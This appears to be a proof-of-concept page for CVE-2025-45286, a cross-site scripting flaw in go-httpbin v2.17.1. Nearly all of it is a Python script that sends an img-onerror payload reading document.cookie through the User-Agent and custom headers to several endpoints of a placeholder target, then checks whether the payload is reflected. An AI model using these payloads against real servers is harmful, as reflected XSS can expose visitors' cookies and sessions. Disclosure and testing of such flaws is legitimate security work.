CVE-2025-45286 mccutchen go-httpbin XSS跨站脚本漏洞

import requests # CVE-2025-45286 PoC - XSS in mccutchen go-httpbin v2.17.1 # Target: http://target-server.com (vulnerable go-httpbin instance) # XSS Payload using img onerror handler xss_payload = '<img src=x onerror="alert(document.cookie)">' # Test various endpoints that reflect input endpoints = [ '/anything', '/get', '/headers', '/user-agent', ] for endpoint in endpoints: url = f'http://target-server.com{endpoint}' # Method 1: Inject via User-Agent header headers1 = {'User-Agent': xss_payload} response1 = requests.get(url, headers=headers1) print(f"[*] Testing {endpoint} with User-Agent injection") if xss_payload in response1.text: print(f"[+] VULNERABLE! Payload reflected in response") # Method 2: Inject via custom header headers2 = {'X-Custom-Header': xss_payload} response2 = requests.get(url, headers=headers2) if xss_payload in response2.text: print(f"[+] VULNERABLE! Custom header reflected") print("\n[!] Note: This PoC checks for payload reflection.") print("[!] Actual exploitation requires victim to visit the crafted URL.")